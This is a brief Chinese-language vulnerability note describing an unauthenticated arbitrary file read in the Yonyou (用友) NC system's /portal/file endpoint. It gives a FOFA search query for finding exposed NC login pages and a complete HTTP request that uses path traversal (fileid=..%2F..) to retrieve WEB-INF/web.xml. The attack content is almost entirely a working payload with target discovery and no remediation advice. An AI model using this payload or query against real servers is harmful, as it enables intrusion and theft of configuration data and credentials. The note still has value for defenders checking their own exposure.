Y4-29用友-NC-任意文件读取
漏洞描述:
用友NC 系统 /portal/file等接口存在任意文件读取漏洞,未经身份认证的攻击者可以通过此漏洞获取敏感信息,使系统处于极不安全状态。
网站图片:
网络测绘:
fofa语法:
FOFA:app=“用友-UFIDA-NC” && title==“产品登录界面”
漏洞复现:
payload:
GET /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
效果图:
读取web.xml文件